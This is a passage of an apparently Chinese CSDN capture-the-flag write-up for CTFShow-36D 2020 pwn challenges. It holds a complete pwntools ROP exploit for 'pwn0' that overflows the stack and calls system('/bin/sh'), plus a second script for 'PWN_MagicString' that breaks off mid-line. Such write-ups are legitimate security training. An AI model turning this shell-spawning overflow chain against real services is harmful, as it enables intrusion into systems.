CTFShow-36D 2020 pwn

本文详细介绍了CTFShow-36D 2020比赛中pwn0挑战的解决过程,重点讨论了PWN_MagicString漏洞。作者在尝试使用onegadget时遇到问题,由于泄露libc地址时的错误,导致多次尝试失败。在转而尝试注入shellcode的过程中,发现可执行段较短并存在分隔,最终通过调整和验证onegadget正确使用,意识到是printf泄露时的错误导致了困扰。作者提醒,在未来遇到类似情况时,务必检查泄露的数据准确性。
摘要由CSDN通过智能技术生成

pwn0

#!/usr/bin/env python2
from pwn import *

arch = "amd64"
filename = "pwn0"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)
pop_rdi_addr=0x00000000004006d3
sys_addr=0x00000000004004E0
binsh_addr=0x601040    #***
# libc

def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("")
    payload=b'a'*(0x28)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(sys_addr)
    io.sendline(payload)
    io.interactive()
main()

PWN_MagicString

#!/usr/bin/env python2
from pwn import *

arch = "amd64"
filename = "PWN_MagicString"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)
pop_rdi=0x0000000000400733
ti_addr=0x60104D
binsh_addr=0x601048
magic_addr=0x000000000040062D
sys_addr=0x00000000004004F0
# libc


def b(addr):
    bk = "b *$rebase" + 
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值